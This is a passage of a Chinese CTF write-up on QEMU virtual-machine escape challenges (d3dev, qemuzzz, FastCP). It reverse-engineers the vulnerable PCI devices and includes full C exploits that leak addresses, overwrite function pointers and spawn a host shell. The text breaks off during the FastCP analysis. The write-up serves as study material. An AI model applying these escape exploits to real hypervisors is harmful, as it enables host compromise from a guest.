QemuPwn前进四

QemuPwn前进四

做一下QemuPwn的题,提升一下自己的qemuPwn漏洞利用能力

D3CTF

yikesoftware/d3ctf-2021-pwn-d3dev: [D^3CTF 2021] pwn-d3dev 题目附件以及官方writeup (github.com)

程序分析

d3dev的具现化函数pci_d3dev_realize中注册了一个mmio,一个pmio

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __fastcall pci_d3dev_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
memory_region_init_io(
(MemoryRegion_0 *)&pdev[1],
&pdev->qdev.parent_obj,
&d3dev_mmio_ops,
pdev,
"d3dev-mmio",
0x800uLL);
pci_register_bar(pdev, 0, 0, (MemoryRegion_0 *)&pdev[1]);
memory_region_init_io(
(MemoryRegion_0 *)&pdev[1].name[56],
&pdev->qdev.parent_obj,
&d3dev_pmio_ops,
pdev,
"d3dev-pmio",
0x20uLL);
pci_register_bar(pdev, 1, 1u, (MemoryRegion_0 *)&pdev[1].name[56]);
}

d3dev的实例化函数d3dev_instance_init,参数传进来的应该是Object,但是会类型转换成d3devState,

这里初始化了rand_r和4个key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __fastcall d3dev_instance_init(d3devState *obj)
{
d3devState *v1; // rbx
unsigned int v2; // eax
int v3; // eax

v1 = (d3devState *)object_dynamic_cast_assert(
&obj->pdev.qdev.parent_obj,
"d3dev",
"/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c",
213,
"d3dev_instance_init");
v1->rand_r = (int (*)(unsigned int *))&rand_r;
if ( !v1->init_flag )
{
v2 = time(0LL);
srand(v2);
v1->key[0] = rand();
v1->key[1] = rand();
v1->key[2] = rand();
v3 = rand();
v1->init_flag = 1;
v1->key[3] = v3;
}
}

在localtypes中可以看到d3devState的定义

image-20220430153732969

不过一般其他题,这里可能只能在local_type中找到类型,但是看不到具体结构,有的甚至类型也找不到,只能依靠逆向,这里很仁慈了(后来发现这下面几题都有符号。。)

pmio_read

1
2
3
4
5
6
7
8
9
10
uint64_t __fastcall d3dev_pmio_read(d3devState *d3devState, hwaddr addr, unsigned int size)
{
uint64_t result; // rax

if ( addr > 0x18 )
result = -1LL;
else
result = ((__int64 (__fastcall *)(d3devState *))((char *)dword_7ADF30 + dword_7ADF30[addr]))(d3devState);
return result;
}

这里else处其实是个switch_case_

image-20220430154433575

分别是读取d3devState中几个成员的值

image-20220430154506414

+AC0 memory_mode

+AC4 seek

+12E0 ~ +12EC key0~key3

pmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *v4; // rbp

if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val; // 设置seek
}
else if ( addr > 8 )
{
if ( addr == 28 )
{
opaque->r_seed = val; // 设置r_seed
v4 = opaque->key;
do
*v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
&opaque->r_seed,
28LL, // 重新产生4个key
val,
*(_QWORD *)&size);
while ( v4 != (uint32_t *)&opaque->rand_r );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*(_QWORD *)opaque->key = 0LL; // 清零key
*(_QWORD *)&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}

中间addr == 28的功能,IDA分析的很差,实际看汇编很好懂,就是设置r_seed=val,然后调用rand_r重新产生4个key值

mmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size)
{
uint64_t v3; // rax
int sum; // esi
unsigned int v5; // ecx
uint64_t result; // rax

v3 = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];
sum = 0xC6EF3720; // tea的常量
v5 = v3; // v5 = LoDWORD(v3)
result = HIDWORD(v3);
do
{
LODWORD(result) = result - ((v5 + sum) ^ (opaque->key[3] + (v5 >> 5)) ^ (opaque->key[2] + 16 * v5));
v5 -= (result + sum) ^ (opaque->key[1] + ((unsigned int)result >> 5)) ^ (opaque->key[0] + 16 * result);
sum += 0x61C88647;
}
while ( sum ); // tea加密
if ( opaque->mmio_read_part )
{
opaque->mmio_read_part = 0;
result = (unsigned int)result; // 高位不加密
}
else
{
opaque->mmio_read_part = 1;
result = v5; // 低位加密
}
return result;
}

mmio_read是以seek作为基址,addr>>3作为偏移,整体作为index,从blocks中取值,这里会一次计算64bit的数据,但是会根据read_part分两次读取

mmio_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
__int64 v4; // rsi
d3devState *v5; // r11
uint64_t v6; // rdx
int v7; // esi
uint32_t v8; // er10
uint32_t v9; // er9
uint32_t v10; // er8
uint32_t v11; // edi
unsigned int value0; // ecx
uint64_t value1; // rax

if ( size == 4 )
{
v4 = opaque->seek + (unsigned int)(addr >> 3);
if ( opaque->mmio_write_part )
{
v5 = (d3devState *)((char *)opaque + 8 * v4);
v6 = val << 32;
v7 = 0;
opaque->mmio_write_part = 0;
v8 = opaque->key[0];
v9 = opaque->key[1];
v10 = opaque->key[2];
v11 = opaque->key[3];
value0 = v6 + LODWORD(v5->blocks[offsetof(d3devState, pdev)]);
value1 = (v6 + v5->blocks[offsetof(d3devState, pdev)]) >> 32;
do
{
v7 -= 0x61C88647;
value0 += (v7 + value1) ^ (v9 + ((unsigned int)value1 >> 5)) ^ (v8 + 16 * value1);
LODWORD(value1) = ((v7 + value0) ^ (v11 + (value0 >> 5)) ^ (v10 + 16 * value0)) + value1;
}
while ( v7 != 0xC6EF3720 ); // tea加密
v5->blocks[offsetof(d3devState, pdev)] = __PAIR64__(value1, value0);
}
else
{
opaque->mmio_write_part = 1;
opaque->blocks[v4] = (unsigned int)val;
}
}

这个跟read类似,只不过这里逻辑看着稍微奇怪一点,一开始write_part为0,就先写入低32位,然后置write_part为1,第二写入的时候会先取出刚才写入的值,然后和这次写入的值一起作为tea的两个参数值进行加密,加密完的值最终才会写入到blocks里面,所以要写两次

因为seek是我们指定的,所以这里就存在一个越界读写漏洞,seed也可以由我们指定,因此tea加密也受我们控制

利用流程

  1. 用pmio_write设置seek
  2. 通过pmio_read读取4个key值,这样我们就可以自己加解密了
  3. 通过mmio_read读取r_rand的值,当然读出来是tea处理过的,我们逆回去就可以得到r_rand地址,进而得到libc地址
  4. 通过偏移得到system,利用mmio_write覆盖r_rand,
  5. 最后用过pmio_write触发r_rand执行system

exp

因为是第一题,所以exp编写这里写的详细一点,exp模板可以直接用Strng的

vm-escape/exp.c at master · ray-cp/vm-escape (github.com)

首先因为要进行pmio和mmio操作,先通过lspci查看设备

image-20220430165858260

这里没有详细信息,那只能从d3dev类初始化函数里面寻找信息

image-20220430170011061

这里可以看到0x11E8 2333,接下来可以cat其resource来确认一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/ # cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf17ff 0x0000000000040200
0x000000000000c040 0x000000000000c05f 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

这一步就是将其映射出来

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned char* mmio_mem;   


// Open and map I/O memory for the d3dev device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);

接着程序就可以通过操作mmio_mem来进行mmio操作

pmio要先申请权限

1
2
3
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");

之后就可以根据base进行pmio请求了

1
2
3
4
5
6
7
8
9
10
11
12
uint32_t pmio_base=0x000000000000c040;

uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base+0,offset);
return pmio_read(pmio_base+4);
}

uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}

b w l分别是size 为8 16 32

exp调试

因为rootfs是img后缀,不过其算伪img(因为死活挂载不上去)

1
2
ctf@ubuntu:~/qemu/d3dev-revenge_attachment/docker_attachment_revenge/bin$ file rootfs.img 
rootfs.img: ASCII cpio archive (SVR4 with no CRC)

可以修改后缀为cpio,然后解压之后把poc放进去,再用kernel pwn的cpio脚本重新打包回去

exp的编译选项

1
gcc -O0 -static -o exp exp.c

exp 中tea加解密部分划分了大量的时间,因为在加密完成后,把两个32位数拼成64位时,我一开始写的是res << 0x20 + v0,因为+优先级比<<高,所以算错了,这里调了半天。。。。

1
2
uint64_t res = v1;                                        /* end cycle */
return (res<<0x20) + v0;

最终gdb调试是可以正常执行到sh的,然后实际在系统中测试是这个样,(参考最后system的问题)

1
$ sh: turning off NDELAY mode

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164


#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

unsigned char* mmio_mem;
uint32_t pmio_base=0xc040;

unsigned int key0 = 0;
unsigned int key1 = 0;
unsigned int key2 = 0;
unsigned int key3 = 0;




uint64_t encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
printf("test_encrpt v0: 0x%llx\n",v0);
printf("test_encrpt v1: 0x%llx\n",v1);
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
printf("test_encrpt k0: 0x%llx\n",k0);
printf("test_encrpt k0: 0x%llx\n",k1);
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
//printf("test_encrpt round: 0x%llx,0x%llx,0x%llx\n",i,v0,v1);

}
printf("test_encrpt round: 0x%llx,0x%llx\n",v0,v1);
uint64_t res = v1; /* end cycle */
return (res<<0x20) + v0;
}

uint64_t decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
}
printf("test_decrpt round: 0x%llx,0x%llx\n",v0,v1); /* end cycle */
uint64_t res = v1; /* end cycle */
return (res<<0x20) + v0;
}

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,pmio_base + addr);
}


uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(pmio_base + addr);
}


int main(int argc, char *argv[])
{

// Open and map I/O memory for the d3dev device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
//set seek = 0x100
pmio_write(8,0x100);
//read key
key0 = pmio_read(12);
printf("leaking rand0: 0x%lx\n",key0);
key1 = pmio_read(16);
printf("leaking rand1: 0x%lx\n",key1);
key2 = pmio_read(20);
printf("leaking rand2: 0x%lx\n",key2);
key3 = pmio_read(24);
printf("leaking rand3: 0x%lx\n",key3);

// uint64_t test_num = 0x1234567812345678;
// uint64_t res = encrypt((uint32_t*)&test_num,(uint32_t*)&key0);
// printf("test_encrpt: 0x%llx\n",res);
// //0x7bff9e629cb5b31a
// mmio_write(0,0x12345678);
// mmio_write(0,0x12345678);

// uint32_t r_rand_lo = mmio_read(0);
// uint32_t r_rand_hi = mmio_read(0);
// uint64_t dec_res = (uint64_t)(r_rand_hi<<0x20) + r_rand_lo;
// uint64_t r_rand_addr = encrypt((uint32_t*)&dec_res,(uint32_t*)&key0);
// printf("test_decrpt: 0x%llx\n",r_rand_addr);
//read r_rand addr
uint32_t r_rand_lo = mmio_read(0x18);
uint32_t r_rand_hi = mmio_read(0x18);
uint64_t r_rand_addr = r_rand_hi;
r_rand_addr = (r_rand_addr<<0x20) + r_rand_lo;

r_rand_addr = encrypt((uint32_t*)&r_rand_addr,(uint32_t*)&key0);
printf("leaking rand_r addr: 0x%llx\n",r_rand_addr);
//0x00007ffff7a13d60 - 0x00007ffff79cc000 = 0x47D60
uint64_t libc_base = r_rand_addr - 0x47D60;
printf("leaking libc addr: 0x%llx\n",libc_base);
uint64_t system_addr = libc_base + 0x522C0;
printf("leaking system addr: 0x%llx\n",system_addr);
//overwrite r_rand
uint64_t system_addr_dec = decrypt((uint32_t*)&system_addr,(uint32_t*)&key0);
uint64_t system_addr_recover = encrypt((uint32_t*)&system_addr_dec,(uint32_t*)&key0);
//printf("leaking system_addr_recover addr: 0x%llx\n",system_addr_recover);
//c
printf("leaking system_addr_dec_lo: 0x%llx\n",(uint32_t)system_addr_dec);
//printf("leaking system_addr_dec_hi: 0x%llx\n",((uint32_t*)&system_addr_dec)[1]);

mmio_write(0x18,((uint32_t*)&system_addr_dec)[0]);
mmio_write(0x18,((uint32_t*)&system_addr_dec)[1]);

char command[12] = "/bin/sh\n\x00\x00\x00\x00";

//get shell
//set seek = 0x0
pmio_write(8,0x0);
uint64_t command_dec = decrypt((uint32_t*)&command[4],(uint32_t*)&key0);
mmio_write(0x0,(uint32_t)command_dec);
mmio_write(0x0,(uint32_t)(command_dec>>0x20));

pmio_write(28,*(uint32_t*)command);



}

2020华为云 qemuzzz

xctf_huaweicloud-qualifier-2020/pwn/qemuzzz at main · huaweictf/xctf_huaweicloud-qualifier-2020 (github.com)

程序分析

启动脚本如下,因为wp里提供的附件没有rootfs.cpio和bzImage,所以我们得从其他题目里搬一个过来,结果发现都不不行,还是得找原始附件

CTF/华为云CTF.md at fdb322a19a2eb97ad15f742462d0c318fcac4168 · imemaker/CTF (github.com)

1
2
3
4
5
6
7
8
9
10
#! /bin/sh
#gdb --args \
./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kalsr' \
-monitor /dev/null \
-m 64M --nographic \
-device zzz \
-L pc-bios

所以设备名为zzz

可以看到其相关函数

image-20220430173539886

zzz_class_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall zzz_class_init(__int64 a1)
{
__int64 result; // rax

result = object_class_dynamic_cast_assert(
a1,
"pci-device",
"/opt/qemu-5.2.0/include/hw/pci/pci.h",
201LL,
"PCI_DEVICE_CLASS");
*(_QWORD *)(result + 176) = pci_zzz_realize;
*(_QWORD *)(result + 184) = pci_zzz_uninit;
*(_DWORD *)(result + 208) = 0x23331234; // vendor
*(_BYTE *)(result + 212) = 16;
*(_WORD *)(result + 214) = 255;
return result;
}

这里可以获得vendor信息为0x23331234

zzz_instance_init

1
2
3
4
5
6
7
8
9
__int64 __fastcall zzz_instance_init(__int64 a1)
{
__int64 result; // rax

result = object_dynamic_cast_assert(a1, &off_7CE55E, "../hw/misc/zzz.c", 135LL, "zzz_instance_init");
*(_QWORD *)(result + 0x19F0) = result;
*(_QWORD *)(result + 0x19F8) = cpu_physical_memory_rw;
return result;
}

就是在+0x19F8处设置了一个函数

pci_zzz_realize

1
2
3
4
5
6
__int64 __fastcall pci_zzz_realize(__int64 a1)
{
*(_BYTE *)(*(_QWORD *)(a1 + 144) + 61LL) = 1;
memory_region_init_io(a1 + 2288, a1, zzz_mmio_ops, a1, "zzz-mmio", 0x100000LL);
return pci_register_bar(a1, 0LL, 0LL, a1 + 2288);
}

注册了mmio函数

zzz_mmio_read

1
2
3
4
5
6
7
8
9
__int64 __fastcall zzz_mmio_read(__int64 a1, unsigned __int64 a2)
{
__int64 result; // rax

result = 0LL;
if ( a2 <= 0xFFF )
result = *(unsigned __int8 *)(a1 + a2 + 0x9F0);
return result;
}

这个read可以读zzz对象 +0x9F0偏移之后的值

zzz_mmio_write

write基本分为三部分,第一部分就是朴素赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __fastcall zzz_mmio_write(__int64 zzzState, unsigned __int64 addr, unsigned __int64 val)
{
__int64 v3; // rbp
__int16 v4; // dx
__int64 v5; // rax
unsigned __int16 v6; // cx
void (__fastcall *v7)(_QWORD, __int64, _QWORD, __int64); // r10
__int64 v8; // rsi
__int64 v9; // rdx
int v10; // esi
__int64 i; // rdi

if ( addr == 32 )
{
*(_QWORD *)(zzzState + 0x9E0) = val << 12;
}
else if ( addr <= 0x20 )
{
if ( addr == 16 )
{
if ( val > 0xFFF )
{
if ( *(_WORD *)(zzzState + 0x9EA) > 0xFFFu )
*(_WORD *)(zzzState + 0x9EA) = 0;
}
else
{
*(_WORD *)(zzzState + 0x9EA) = val;
}
}
else if ( addr == 24 )
{
*(_WORD *)(zzzState + 0x9E8) = val;
}
}

第二部分,是对0x9F0开始的buf 进行xor加密,同时这里可以推测出+9EA是start,+9E8是len

1
2
3
4
5
6
7
8
9
10
11
12
else if ( addr == 80 )
{
start = *(unsigned __int16 *)(zzzState + 0x9EA);
len = *(_WORD *)(zzzState + 0x9E8) & 0x7FFE;
if ( (int)start + len >= 0x1000 )
len = 0xFFF - start;
for ( i = start + zzzState; len / 2 > (int)start; i += 2LL )
{
*(_WORD *)(i + 0x9F0) ^= 0x209u;
LODWORD(start) = start + 2;
}
}

第三部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
else if ( addr == 96 )
{
v3 = *(_QWORD *)(zzzState + 0x19F0);
if ( (*(_QWORD *)(v3 + 0x9E0) & 0xFFF) == 0 )
{
len_ = *(_WORD *)(v3 + 0x9E8);
start_ = *(unsigned __int16 *)(v3 + 0x9EA);
v6 = len_ & 0x7FFE;
if ( (int)(start_ + (len_ & 0x7FFE) - 1) <= 0x1000 )// 这里off_by_one
{
phy_rw = *(void (__fastcall **)(_QWORD, __int64, _QWORD, __int64))(zzzState + 0x19F8);// cpu_physical_memory_rw
v8 = v3 + start_ + 0x9F0;
if ( (len_ & 1) != 0 )
phy_rw(*(_QWORD *)(v3 + 0x9E0), v8, v6, 1LL);
else
phy_rw(*(_QWORD *)(v3 + 0x9E0), v8, v6, 0LL);
if ( *(__int16 *)(v3 + 0x9E8) < 0 )
pci_set_irq(v3, 1LL);
}
}
}

这个cpu_physical_memory_rw是qemu的API,是对从虚拟机的物理地址中读,或者向虚拟机的物理地址中写,第三部分是存在一个offbyone的,我们指定start为0x1000,len为0x1,可以多写一个字节,从databuf +0x1000刚好是 + 0x19F0,也就是存储zzzState指针的位置

漏洞利用

第一次我们可以利用offbyone将zzzState ptr最后一个字节改大 ,那么再利用mmio_write的0x60功能号时,几个关键的偏移 phy_addr/data_start/len都会落到data_buf中,我们就可以伪造相关数据,特别是phy_addr

首先将cpu_physical_memory_rw地址读出来就可以得到程序基址,进而得到system_plt

然后读出来zzz_state ptr就可以得到堆地址,进而可以在buf中布置command,同时获得其地址

最后覆盖掉cpu_physical_memory_rw,把command地址填上,就可以getshell

exp

下载了原始附件也还是运行不起来,在网上搜是编译的内核的问题,漏洞是看出来了,这里也没法调试

1
ernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(1,0)

overflow说是内核编译的问题

贴下别人的exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

unsigned char* mmio_mem;
uint64_t phy_userbuf;
char *userbuf;

void Err(char* err){
printf("Error: %s\n", err);
exit(-1);
}

void init_mmio(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if(mmio_fd < 0){
Err("Open pci");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_mem<0){
Err("mmap mmio_mem");
}
}

void mmio_write(uint64_t addr, uint64_t value){
*((uint64_t*)(mmio_mem+addr)) = value;
}

uint64_t mmio_read(uint64_t addr){
return *((uint64_t*)(mmio_mem+addr));
}

void set_src(uint64_t addr){
mmio_write(0x20, addr);
}

void set_len(uint64_t num){
mmio_write(0x18, num);
}

void set_off(uint64_t offset){
mmio_write(0x10, offset);
}

void set_write(uint64_t offset, uint64_t num){
set_src(phy_userbuf>>12);
set_len(num);
set_off(offset);

mmio_write(0x60, 0x0);
sleep(1);
}

void set_enc(uint64_t offset, uint64_t num){
set_off(offset);
set_len(num);

mmio_write(0x50, 0x0);
sleep(1);
}

size_t va2pa(void *addr){
uint64_t data;

int fd = open("/proc/self/pagemap",O_RDONLY);
if(!fd){
perror("open pagemap");
return 0;
}

size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}

if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}

if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

close(fd);

return phyaddr;
}

int main(){
printf("init mmio:\n");
init_mmio();

userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
Err("mmap userbuf");
mlock(userbuf, 0x1000);
phy_userbuf = va2pa(userbuf);
printf("userbuf va: 0x%llx\n", userbuf);
printf("userbuf pa: 0x%llx\n", phy_userbuf);

int offset = 0x60 - 0;
printf("offset is: %x\n", offset);
int phy_addr = phy_userbuf;
char *command="cat /root/flag\x00";
memcpy(userbuf+0x210, command, strlen(command));
*(uint64_t*)(userbuf+0x50) = phy_addr;
*(uint16_t*)(userbuf+0x58)=0xf;
*(uint16_t*)(userbuf+0x5a)=0x1000-offset;

set_write(0x00, 0x220);

printf("change base last byte as 0x60\n");
*(uint8_t *)userbuf = 0x00;
*(uint8_t *)(userbuf + 1) = 0x60;
set_write(0xfff, 0x2);

printf("leak addr:\n");
mmio_write(0x60,0);
size_t base_addr = *(size_t *)userbuf;
size_t phy_rw_addr = *(size_t *)(userbuf+8);
printf("phy_rw_addr: 0x%llx\n", phy_rw_addr);
printf("base_addr: 0x%llx\n", base_addr);

size_t system_plt = phy_rw_addr - 0x5bc5c0+0x2a7a80;
printf("system_plt: 0x%llx\n", system_plt);

printf("enc to change rw flag:\n");
set_enc(0x58, 0xb8);
uint64_t target = (base_addr-0x60+0x9e0+0x220);
*(uint64_t*)(userbuf+0x7) = (target);
*(uint16_t*)(userbuf+0x7+0x8) = (0xf);
*(uint16_t*)(userbuf+0x7+0xa) = (0x0);
*(uint64_t*)(userbuf+0x1f7) = (base_addr-0x60+0xe20);
*(uint64_t*)(userbuf+0x1f7+0x8) = system_plt;
mmio_write(0x60, 0);

set_src(target);
mmio_write(0x60, 0);
return 0;
}

2021 HWS FastCP

QEMU逃逸初探(一) - 安全客,安全资讯平台 (anquanke.com)

程序分析

1
2
3
#!/bin/sh

./qemu-system-x86_64 -initrd ./initramfs-busybox-x64.cpio.gz -nographic -kernel ./vmlinuz-5.0.5-generic -append "priority=low console=ttyS0" -monitor /dev/null --device FastCP

题目文件下载

1
https://files.buuoj.cn/files/de411f1d372ead78f7263c6ce47b4dc9/FastCP-ctf-.zip

启动脚本里能看到设备名为FastCP

直接输入root即可登录

FastCPState结构体

1
2
3
4
5
6
7
8
9
10
11
12
00000000 FastCPState     struc ; (sizeof=0x1A30, align=0x10, copyof_4530)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009E0 cp_state CP_state ?
000009F8 handling db ?
000009F9 db ? ; undefined
000009FA db ? ; undefined
000009FB db ? ; undefined
000009FC irq_status dd ?
00000A00 CP_buffer db 4096 dup(?)
00001A00 cp_timer QEMUTimer_0 ?
00001A30 FastCPState ends

FastCP_class_init

得到Vendor ID为0xBEEFDEAD

pci_FastCP_realize

1
2
3
4
5
6
7
8
9
10
timer_init_full(&v2->cp_timer, 0LL, QEMU_CLOCK_VIRTUAL, (int)&stru_F4240, 0, fastcp_cp_timer, v2);
memory_region_init_io(
&v2->mmio,
&v2->pdev.qdev.parent_obj,
&fastcp_mmio_ops,
v2,
"fastcp-mmio",
(uint64_t)&stru_100000);
pci_register_bar(&pdev->pdev, 0, 0, &v2->mmio);
v2->irq_status = 0;

这里新建了一个timer,注册了一个mmio

FastCP_instance_init

1
2
3
4
5
6
7
8
9
10
*(_QWORD *)v1->CP_buffer = 0LL;
*(_QWORD *)&v1->CP_buffer[4088] = 0LL;
memset(
(void *)((unsigned __int64)&v1->CP_buffer[8] & 0xFFFFFFFFFFFFFFF8LL),
0,
8LL * (((unsigned int)v1 - (((_DWORD)v1 + 2568) & 0xFFFFFFF8) + 6656) >> 3));
v1->cp_state.CP_list_src = 0LL;
v1->cp_state.CP_list_cnt = 0LL;
v1->cp_state.cmd = 0LL;
v1->handling = 0;

初始化FastState对象的一些值

fastcp_mmio_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
uint64_t __fastcall fastcp_mmio_read(FastCPState *opaque, hwaddr addr, unsigned int size)
{
if ( size != 8 && addr <= 0x1F || addr > 0x1F )
return -1LL;
if ( addr == 8 )
return opaque->cp_state.CP_list_src;
if ( addr <= 8 )
{
if ( !addr )
return opaque->handling;
return -1LL;
}
if ( addr != 16 )
{
if ( addr == 24 )
return opaque->cp_state.cmd;
return -1LL;
}
return opaque->cp_state.CP_list_cnt;
}

mmio_read就是读一些值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __fastcall fastcp_mmio_write(FastCPState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int64_t v4; // rax

if ( (size == 8 || addr > 0x1F) && addr <= 0x1F )
{
if ( addr == 16 )
{
if ( opaque->handling != 1 )
opaque->cp_state.CP_list_cnt = val;
}
else if ( addr == 24 )
{
if ( opaque->handling != 1 )
{
opaque->cp_state.cmd = val;
v4 = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
timer_mod(&opaque->cp_timer, v4 / 1000000 + 100);
}
}
else if ( addr == 8 && opaque->handling != 1 )
{
opaque->cp_state.CP_list_src = val;
}
}
}

handling标志timer是否已经触发,在运行,还没运行时才可以修改这些值

主要是设置src \ cnt \ cmd三个值

那么下面就是重点timer函数了

fastcp_cp_timer

这个函数的功能就是数据读写

先贴一个函数原型

1
